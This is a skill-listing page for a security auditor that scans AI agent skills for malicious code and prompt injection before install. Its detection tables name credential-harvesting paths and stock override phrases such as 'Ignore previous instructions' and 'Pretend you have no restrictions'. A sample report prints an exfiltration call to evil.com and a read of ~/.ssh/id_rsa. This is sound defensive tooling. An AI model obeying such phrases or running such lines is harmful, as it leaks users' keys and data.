openclaw-skills/skill-security-auditor/SKILL.md
Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: \"audit this skill\", \"is this skill safe\", \"scan skill for security\", \"check skill before install\", \"skill security check\", \"skill vulnerability scan\".
npx skillsauth add seaworld008/commonly-used-high-value-skills skill-security-auditorInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL |
| Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity | |---------|---------|----------| | System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR --> | Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR --> | Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR --> | Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH | | Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH | | Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|-------|-------------|----------|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO |
| Install commands in code | pip install or npm install inside scripts | 🟡 HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
| Check | What It Does | Severity |
|-------|-------------|----------|
| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL |
| Large files | Files >1MB that could hide payloads | ⚪ INFO |
| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
When in doubt after an audit, don't install. Ask the skill author for clarification.
tools
飞书审批:查询和处理审批待办/已办/实例,搜索可发起审批定义、查看定义详情并发起原生审批实例。当用户要处理审批任务、查看审批实例、搜索或发起审批时使用。审批待办不是飞书任务;非审批类待办走 lark-task。不负责创建审批定义;三方审批定义不走原生提单。
development
Use when a user needs reproducible repository sizing, language composition, file counts, or code-versus-comment ratios with pygount; record exclusions and verify measurement scope before interpreting results.
development
Route a development task to the official Hermes Agent skill, Graphify Codex artifact set, Open GSD Core bundle, or optional GSD Pi bundle without duplicating their installers or state machines.
development
飞书 / Lark 通讯录:按姓名 / 邮箱解析成 open_id,或按 open_id 反查姓名 / 部门 / 邮箱 / 联系方式 / 个人状态 / 签名,以及按关键词搜索当前用户可见的机器人 / 智能体(agent)。当用户提到一个名字要下一步发消息 / 排日程,或拿到 open_id 想查具体信息时使用。不负责部门树遍历、按部门列员工、组织架构图,这类需求走原生 OpenAPI。